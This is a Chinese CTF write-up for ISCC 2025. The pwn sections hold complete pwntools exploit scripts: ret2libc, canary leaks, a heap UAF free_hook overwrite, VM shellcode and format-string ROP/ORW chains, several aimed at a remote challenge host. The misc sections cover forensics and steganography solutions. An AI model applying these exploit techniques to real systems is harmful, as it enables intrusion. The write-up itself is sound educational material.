Iscc 2025-pwn 部分 wp misc 部分 wp PWN-call-擂台赛 先patch一下这个程序,换了libc

然后就可以进行分析

看一下保护开没开,发现就一个nx,64位的程序,那就放到ida中进行静态分析

发现了漏洞点,这里有一个栈溢出,然后看一下字符串有没有关于system的一些信息

并没有什么有用的信息,根据题目给了libc文件,那这个题就是正常的打ret2libc
from pwn import * context.log_level = 'debug' p = remote("101.200.155.151", 12100) # p = process("./call") elf = ELF("./call") libc = ELF("./libc6_2.31-0ubuntu9.17_amd64.so") pop_rdi_ret = 0x0000000000401273 pop_rsi_pop_r15_ret = 0x0000000000401271 ret = 0x000000000040101a main = 0x401157 padding = 0x60+8 payload = b'' payload += b'a' * padding payload += p64(pop_rdi_ret) payload += p64(1) payload += p64(pop_rsi_pop_r15_ret) payload += p64(elf.got['write']) payload += p64(0) payload += p64(elf.plt['write']) payload += p64(main)#发送第一个泄露write的payload p.recvuntil(b'My name is\n') p.send(payload) write_addr = u64(p.recvuntil(b'\x7f')[-6:] + b'\x00\x00')#接受write函数的地址 libc.address = write_addr - libc.symbols['write']#计算libc基地址 log.info("write_addr : 0x%x" % write_addr) log.info("libc_base : 0x%x" % libc.address) payload = b'' payload += b'a' * padding payload += p64(pop_rdi_ret) payload += p64(next(libc.search(b'/bin/sh\x00'))) payload += p64(libc.sym['system']) payload += p64(main)#发送最终paylaod p.recvuntil(b'My name is\n') p.send(payload) p.interactive()
pwn-manager–擂台赛 checksec看似没有canary,可是在程序中
静态编译的题,一开始看是个图书管理系统以为是一个堆题,分析后发现没有malloc函数,那就是一个栈类型的题

在ubuntu系统下运行程序,发现有9个功能,那就对应了9个函数,慢慢分析代码
要先逆向结构体,emmmmm,pwn逆向
记录一下还原结构体的过程,进入add函数

在下面的输入中title,author,pushlisher中初步判断是这个结构体是有三个数组的
struct book_buf{ char title[50]; char author[40]; char publisher[30]; }
那这就是整个结构体了吗?再仔细观察一下,会发现把title,author,publisher写入的长度,也赋值给了v31,v32,v33
也就是这个结构体中存入了每个信息的长度
在v31赋值时read读入时从v30+4开始的,也就是说前面的4个字节也有存储,在前面的
LODWORD(v30[0]) = *(_DWORD *)(book_buf + 152000) + 1;
对v30[0]的第4位进行赋值,通过其他的函数可以知道这个实际就是book_id
在search这个函数中,输入2,进入author搜索功能

在这里有一个循环,i<*(a1+152000)这个条件和上面的还原结构体是有异曲同工,这里也是一个结构体
大小是152000,在下面的if语句是一个判断,比较输入的v15和存在结构体中的author字段,正好对应上了上面结构体的author字段
每152字节是进行一次判断,也就是0x98,也就是说上面的book_buf结构体一个大小是0x98,而book_list这个结构体是152000,是1000个152
book_list{ char book_buf[1000]; int64 id_count; }
? id_count哪里来的?再回到i<*(a1+152000),i进行判断是取的a1的152000处的偏移地址,跟据这个函数功能可以知道这个是存放多少本书籍,前面的0-151999是存放的书籍内容
那这样也得到了book_buf结构体
struct book_buf { int id; char title[50]; __int64 title_length; char author[40]; __int64 author_length; char publish[30]; __int64 pubilsher_length; };

但是这里有一个小问题,因为author是要再0x40处,而前面经过分析输入之后发现少了两个字节,还有什么是没分析到的吗?代码对这两个字节也没有用到,那就用padding占位

到这里这个题的还原结构体就结束了
找漏洞
在search函数中的自定义函数


*(a1 + read(0LL, a1, a2)) = 10
这个会在输入结尾添加回车符,因为read函数读取成功会返回读取的字节,那么就可以写入40个字节,然后就会有一字节溢出
这样的话就可以进行canary的泄露
pwn—genius–练武区域赛 栈溢出+canary 通过一字节泄露canary,因为printf(%s)是遇到/x00结束输出,把canary的第一个字节/x00覆盖掉,就会把canary输出
from pwn import * context(arch='amd64', os='linux', log_level='debug') p = process('./pwn') p.sendlineafter('yes or no?',b'no') p.sendlineafter('so modest.',b'thanks') payload1 = b'u'*23+b'ac' # gdb.attach(p) p.sendafter('in init',payload1) p.recvuntil(b'a') canary = u64(p.recv(8))-ord('c') log.success(hex(canary)) payload = b'a'*24 + p64(canary)+p64(0) + p64(0x4011A7) # gdb.attach(p) p.sendlineafter('thank you',payload) p.interactive()
pwn-program–练武区域赛 先patch一下
patchelf --set-interpretre [ld] ./pwn
patchelf --replace-needed libc.so.6 [libc.so.6] ./pwn
这个题是2.31的堆题,可以打free_hook,重点也就是泄露libc,代码比较简单,正常的菜单题,有两个漏洞
一个是uaf,再free之后没有给指针置0

还有一个堆溢出漏洞

read参数是我们可以写的,比较明显的漏洞
先用uaf泄露一下libc地址,然后再利用堆溢出挂system
from pwn import * context(arch='amd64', os='linux', log_level='debug') p = process('./pwn') libc = ELF('./libc.so.6') elf = ELF('./pwn') def add(index,size): p.sendafter('choice:',b'1') p.sendafter('index:',str(index)) p.sendafter('size:',str(size)) def dele(index): p.sendafter('choice:',b'2') p.sendafter('index:',str(index)) def edit(index,len,text): p.sendafter('choice:',b'3') p.sendafter('index:',str(index)) p.sendafter('length:',str(len)) p.sendafter('content:',text) def show(index): p.sendafter('choice:',b'4') p.sendafter('index:',str(index)) add(0,0x500) add(1,0x30) add(2,0x30) add(3,0x30) # gdb.attach(p) dele(0) show(0) p.recvuntil('\n') libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x1ecbe0 #0x7ffff7dd5000 log.success(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] sys = libc_base+libc.sym['system'] log.success(hex(free_hook)) log.success(hex(sys)) # gdb.attach(p, "b *0x401541") dele(3) dele(2) payload = b'a'*0x30+p64(0)+p64(0x41)+p64(free_hook) edit(1,0x200,payload) add(4,0x30) add(5,0x30) edit(5,0x200,p64(sys)) edit(1,0x200,b'/bin/sh\x00') dele(1) p.interactive()
mini pwn–擂台赛 init

这里定义了主要会用到的寄存器xmmword的三个,然后定义128位结构的qword_40b0可能分为高低位使用

创建了一块可读可写的内存页,然后赋值为0
将0x3000的内存页分为3个0x1000的内存页,把0x1000处的指针放到了qword_4070处,0x2000处的指针放到了qword_4060
然后第一次read读入到第二个块(buf+0x1000),第二次read读入到第一块中(buf)
然后就调用pro函数
这个函数,是vm的主要函数
看一下case1,这个主要实现了往寄存器传参,根据给定的switch-case语句可以选择寄存器,利用buf中输入的第一个字节确定是case1,然后再根据第二个字节选择是case1下的case几,要想给寄存器值要先控制40b0,相当于pop
现在能分析是寄存器传参,利用需要继续往下

case2
把寄存器xmm0中的值放到了40b0-8的中,相当去push,把寄存器中的数据放到内存中,但是现在还不知道40b0是不是栈空间(

case3
把寄存器当前的存储值放到v9(40b0)数组中

case4
会先对40c0进行判断,为0才能运行,而在3中给40c0赋值0,然后又把存储到v9中的数据返回到对应寄存器

case5
会先判断40c0的值是否为0也就是说,有没有经过case3,然后调用syscall

case6
这个是给寄存器置0

case7是给寄存器+8,case8是给寄存器-8
那这个题应该是利用syscall调用exevce函数,通过给寄存器赋值
在调用case3的时候,输入了一个0x40501060006

0x0006清空r0 0x0106 清空r1 0x05调用syscall 0x4 回复寄存器情况,也就是说只有调用case3才能调用case5,那就没办法随便利用case5,看看能不能把40c0设置为0
因为r0是0对应是系统调用号是read函数,也就是调用了read(0,r2,r3),在r2中写入40c0的地址,然后写入0
也就可以随意调用syscall
在case4中可以看到寄存器的值都存放在了0x7ffff7fbafb8这个大段中,减去0xfc0是0x7ffff7fba000这个就是基址了,而4060的偏移是1f8,那只要read在这里写入0就可以了

```` ### pwn-mutsumi--练武区块赛 先老规矩走一遍  发到ida中分析分析,一堆比较函数,对输入的数据用逗号进行分割,然后进行判断对v12进行赋值0,1,2,3,所以的赋值操作都是在堆上进行的,也就杜绝了栈溢出( 但是在存储vm指令的chunk之前有一个chunk,可以进行堆溢出,而这个vm块就是存储指令的堆块   在调试的时候发现,run_vm实际上是在申请的vm块(有执行权限的)上执行,那也就能打shellcode  而这个vm一开始的堆块中存入了这条命令  具体就是上面的参数,0x48是启动64位模式,0x31是xor的操作码,0xD2二进制是11010010,11是寄存器直接调用,第一个010是reg操作编号(源寄存器)rdx,第二个010是r/m的目标操作寄存器rdx v12的低32位是1的话 然后下面的代码逻辑就是通过判断v12的高32位,就会jmp到对应寄存器  如果v12的低32位是0的话,就会执行imm函数,对v12的高12位操作 在imm函数中  a1>0xff是会进行短跳a1,小于会进行近跳a1 分析之后就要进行整理,v12的前8位字节会进行saki的判断,v12的后8位字节中在低4个字节是判断执行寄存器跳转还是执行imm函数中的跳转 1,高4位字节决定跳转内个寄存器,在imm中就是执行e9还是eb 2 格式:v12=‘saki’+0000(2)+0000(1) 然后把内容都memcpy到vm段中后面调用run_vm函数执行 那就要想办法写shellocode,在main函数中申请vm块后就没有对它进行写入,只有在mu函数中再次写入了,前面提到了堆溢出,可以覆盖到vm 但是在main函数中还有一个计数器,记下了main中循环次数  而这个参数又是vm+8的位置,也时mu函数中执行的次数   那要想写入shellcode执行,main函数就要对应循环多少 那就要先写好对应的shellcode才能确定循环次数,因为在mu函数中是0x10个字节一次循环,所以要//0x10 我先写了一个payload调试一下   可以对应一下更好理解0是模式,1是参数  第一次尝试输入shellcode  发现并没有把我输入的mov指令解析出来,这是因为指令执行是顺序解析字节流,现在字节流是e9 bo 68 90 90 那要想把e9给去掉的话,就要利用短跳eb,把字节流执行为eb 1 e9 b0 68 ,会先执行eb 1,然后因为指令2字节+偏移1字节,会跳转到 第3个指令的地方,eb 1,是1。 e9是2,b0是3,那就会解析b0 68,为mov 结合下图理解   成功执行,那这样就可以写shellcode 本来想写一个正常的shellcode,但是一想因为都是4字节,所以/bin/sh不好写, ``` 0x68732f2f6e69622f /bin/sh ``` 要存到一个寄存器了
from pwn import *
context(arch=’amd64’, os=’linux’, log_level=’debug’)
p = process(‘./pwn’)
gdb.attach(p) p.recvuntil(‘her’)
p.sendline(b’saki,ido’) p.sendline(b’1’) def masm(a1): code = asm(a1).ljust(4,b’\x90’) payload = p64(0x114900)+p32(0)+p32(1) payload += p64(0x114900)+p32(0)+code return payload
#0x68732f2f6e69622f #mov al,0x68,shl rax,0x10,mov ax ,0x2f2f,shl rax 0x10,mov ax 0x6e69 ,shl rax 0x10,mov ax 0x622f,shl 0x10 将/bin/sh写入rax
payload = b’saki,stop’ payload = payload.ljust(0x20,b’a’)+p64(0)+p64(0x1011) payload += masm(‘mov al,0x68’)+masm(‘shl rax,0x10’)+masm(‘mov ax ,0x732f’)+masm(‘shl rax,0x10’) payload += masm(‘mov ax,0x6e69’)+masm(‘shl rax,0x10’)+masm(‘mov ax,0x622f’) payload += masm(‘push rax’)+masm(‘xor rax,rax’)+masm(‘mov rdi,rsp’)+masm(‘mov al,0x3b’)+masm(‘syscall’)
payload_len = (len(payload)-0x30)//0x10 log.success(payload_len) for i in range(payload_len): p.sendline(b’saki,ido’) p.sendline(b’1’) gdb.attach(p) p.sendline(payload)
p.interactive()
### pwn-fufu--练武区块赛  还是先检查一下有没有开保护,发现有canary,pie 放到ida里分析一下  在选择1的时候会有一个格式化字符串漏洞可以用来泄露,因为这个题没有给libc,加上pie,要泄露的东西就有三个canary,pie-base,libcbase  在2函数中存在栈溢出漏洞,那么只要泄露完打libc就可以了,不过这个题想知道libc需要先打远程泄露libc(  这里打远程获得puts的地址,进而得到libc版本  然后就正常打 ``` from pwn import * context(arch='amd64', os='linux', log_level='debug') elf = ELF('./pwn') # p = process('./pwn') p = remote('101.200.155.151', 12600) printf_p = elf.plt['puts'] printf_g = elf.got['puts'] p.sendlineafter('Furina: Your choice? >>',str(1)) # gdb.attach(p) p.sendlineafter('limited! >>',str(6)) # gdb.attach(p) p.sendlineafter('evidence! >>','%17$p')#canary 17 base 19 libc 23 canary = int(p.recvuntil('\n')[-17:],16) log.success(hex(canary)) p.sendlineafter('chicken! >>',b'u') p.sendlineafter('Furina: Your choice? >>',str(1)) # gdb.attach(p) p.sendlineafter('limited! >>',str(6)) # gdb.attach(p) p.sendlineafter('evidence! >>','%19$p')#canary 17 base 19 libc 23 elf_base = int(p.recvuntil('\n')[:],16)-0x13d6 log.success(hex(elf_base)) p.sendlineafter('chicken! >>',b'u') p.sendlineafter('Furina: Your choice? >>',str(1)) # gdb.attach(p) p.sendlineafter('limited! >>',str(6)) # gdb.attach(p) p.sendlineafter('evidence! >>','%23$p')#canary 17 base 19 libc 23 libc_base = int(p.recvuntil('\n')[:],16)-0x29d90 log.success(hex(libc_base)) p.sendlineafter('chicken! >>',b'u') rdi = elf_base+0x132f ret = elf_base+0x101a printf_plt = elf_base +printf_p printf_got = elf_base +printf_g # p.sendlineafter('Furina: Your choice? >>',str(2)) # payload = b'a'*0x48+p64(canary)+p64(0)+p64(ret)+p64(rdi)+p64(printf_got)+p64(printf_plt) # # gdb.attach(p) # p.sendlineafter('Furina: The trial is adjourned',payload) # p.recvuntil('\n') # puts = u64(p.recvuntil('\n')[-7:-1].ljust(8,b'\x00')) # log.success(hex(puts)) system = libc_base+0x050d70 binsh = libc_base+0x1d8678 p.sendlineafter('Furina: Your choice? >>',str(2)) payload = b'a'*0x48+p64(canary)+p64(0)+p64(ret)+p64(rdi)+p64(binsh)+p64(system) # gdb.attach(p) p.sendlineafter('Furina: The trial is adjourned',payload) p.interactive() ``` ### pwn-Dilemma 先检查一下保护  发现有canary 放到ida中看一下反汇编  在init函数中发现有沙盒  把execve给禁用了,这个程序中有格式化字符串,还有栈溢出,直接打orw ``` from pwn import * context(arch='amd64', os='linux', log_level='debug') # p = process('./pwn') p = remote('101.200.155.151',12500) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # main = p.sendlineafter('go?\n',b'1') # gdb.attach(p) payload = b'+%11$p-%19$p=%12$p' p.sendlineafter('password:',payload) #canary 11 ,libc 19 p.recvuntil('+0x') canary = int(p.recv(16),16) log.success(hex(canary)) p.recvuntil('-0x') libc_base = int(p.recv(12),16)-0x29d90 log.success(hex(libc_base)) p.recvuntil('=0x') stack_addr = int(p.recv(12),16)-0x50 log.success(hex(stack_addr)) p.sendlineafter('your password:\n',b'1111') p.sendlineafter('go?\n',b'2') open_addr = libc_base+libc.sym['open'] read_addr = libc_base+libc.sym['read'] write_addr = libc_base+libc.sym['write'] rdx_rbx_ret =libc_base+0x904a9 rdi_ret = 0x40119a rsi_r15_ret = 0x40119c # open read write payload = b'a'*0x20+b'flag.txt' payload += p64(canary)+p64(0) payload += p64(rdi_ret)+p64(stack_addr+0x20)+p64(rsi_r15_ret)+p64(0)+p64(0)+p64(open_addr) payload += p64(rdi_ret)+p64(3)+p64(rsi_r15_ret)+p64(stack_addr+0x20)+p64(0)+p64(rdx_rbx_ret)+p64(0x30)+p64(0)+p64(read_addr) payload += p64(rdi_ret)+p64(1)+p64(rsi_r15_ret)+p64(stack_addr+0x20)+p64(0)+p64(rdx_rbx_ret)+p64(0x30)+p64(0)+p64(write_addr) # gdb.attach(p) p.sendafter('about\n',payload) p.interactive() ``` ### misc #### 取证分析 内存取证使用vol3,先scan一下有没有异常文件  把这个hahaha.zip下载下来   解压发现有密码,爆破一下 口令是:bfs775  有三个文件,每个都看一下,    比较明显的是hint.txt,应该是凯撒加密,  发现一个flag里面是维吉尼亚密码 然后没有别的线索了,先下载附件是一个docx文件,放到010中发现  这应该是zip压缩包的文件头  修改之后发现xml文件,打开找到密文  前面提示了是维吉尼亚密码,那就需要密钥,需要计算杨辉三角 需要根据坐标得到对应数,组合数公式(n-1,k-1)进行计算 然后因为是维吉尼亚密钥就要/26找对应字母,最后解密  得到的用iscc包裹起来 #### 签个到吧 解压后得到一个二维码,和一个压缩包,扫了一下二维码发现。。。。,压缩包打不开应该是损坏了,所以还要修一下  把文件放到010中看一下  80应该给成50,再打开就有一张二维码?   看着像是猫脸变化 ``` import cv2 import numpy as np def arnold_encode(image, shuffle_times, a, b): h, w = image.shape[0], image.shape[1] N = h arnold_image = np.zeros(shape=image.shape, dtype=image.dtype) for _ in range(shuffle_times): for ori_x in range(h): for ori_y in range(w): new_x = (1 * ori_x + b * ori_y) % N new_y = (a * ori_x + (a*b + 1) * ori_y) % N arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :] image = arnold_image.copy() cv2.imwrite('flag_arnold_encode.png', arnold_image) return arnold_image def arnold_decode(image, shuffle_times, a, b): h, w = image.shape[0], image.shape[1] N = h decode_image = np.zeros(shape=image.shape, dtype=image.dtype) for _ in range(shuffle_times): for ori_x in range(h): for ori_y in range(w): new_x = ((a*b + 1) * ori_x + (-b) * ori_y) % N new_y = ((-a) * ori_x + 1 * ori_y) % N decode_image[new_x, new_y, :] = image[ori_x, ori_y, :] image = decode_image.copy() cv2.imwrite('flag.png', decode_image) return decode_image if __name__ == "__main__": img = cv2.imread("./0001_48.png") arnold_decode(img, shuffle_times=1, a=1, b=-2) ```  得到一个这样的图片,将他逆时针旋转90度,然后反色,和flag_is_not_here进行异或,就得到了flag    #### 睡美人 通过foremost分离,得到zip压缩包,里面有一个音频文件,可是没有密码    给你提示,色彩秘方是RGB,后面的红红....应该是比例数 通过exp得到加权数就是密码
from PIL import Image from tqdm import tqdm
打开图片并转换为RGB模式 img = Image.open(“Sleeping_Beauty_18.png”).convert(“RGB”)
初始化颜色值的总和 sumR, sumG, sumB = 0, 0, 0
使用更高效的方式遍历像素 pixels = img.getdata() for r, g, b in tqdm(pixels, total=img.width * img.height, desc=”Processing pixels”): sumR += r sumG += g sumB += b
计算加权和并打印结果(保持原逻辑) weighted_sum = sumR * 0.6 + sumG * 0.3 + sumB * 0.1 print(f”加权和: {weighted_sum}”)
 得到音频文件,提取隐藏的二进制信息
import scipy.io.wavfile as wavfile import numpy as np from typing import Tuple, Optional
def load_audio_mono(filename: str) -> Optional[Tuple[int, np.ndarray]]: “””加载音频文件并返回单声道信号””” try: rate, data = wavfile.read(filename) return rate, data[:, 0] if data.ndim == 2 else data except FileNotFoundError: print(f”错误:文件 ‘{filename}’ 未找到。”) except Exception as e: print(f”读取 WAV 文件时发生错误: {e}”) return None
def validate_segment_boundaries(signal_len: int, start: int, segment_size: int) -> bool: “””验证音频分段边界是否有效””” if start + segment_size > signal_len: print(“错误:开始时间太靠后,或音频文件太短,无法处理至少一个分段。”) return False return True
def analyze_segment(samples: np.ndarray, threshold: int = 0) -> Optional[str]: “””分析单个音频分段并返回解码结果””” binary = (samples > threshold).astype(int)
if np.all(binary == 1):
return '0'
if np.any(np.diff(binary) == -1):
return '1'
return None
def decode_audio_segments( signal: np.ndarray, sample_rate: int, start_time: float, segment_duration: float ) -> str: “””主解码流程””” start_sample = int(start_time * sample_rate) samples_per_segment = int(segment_duration * sample_rate)
if not validate_segment_boundaries(len(signal), start_sample, samples_per_segment):
return ""
decoded = []
total_segments = (len(signal) - start_sample) // samples_per_segment
print(f"采样率: {sample_rate} Hz")
print(f"每个分段的采样点数: {samples_per_segment}")
print(f"从采样点 {start_sample} 开始处理")
for seg_idx in range(total_segments):
start = start_sample + seg_idx * samples_per_segment
end = start + samples_per_segment
segment = signal[start:end]
if (bit := analyze_segment(segment)) is not None:
decoded.append(bit)
print(f"共处理了 {total_segments} 个分段。")
return ''.join(decoded)
def non_standard_manchester_decode( filename: str = “normal_speech_18.wav”, start_sec: float = 6.0, duration_sec: float = 0.1 ) -> str: “””主入口函数””” if (result := load_audio_mono(filename)) is None: return “”
sample_rate, audio_data = result
return decode_audio_segments(
audio_data,
sample_rate,
start_sec,
duration_sec
)
if name == “main “: decoded = non_standard_manchester_decode() if decoded: print(“\n解码后的序列:”) print(decoded)
然后二进制转字符串得到的用iscc包裹


####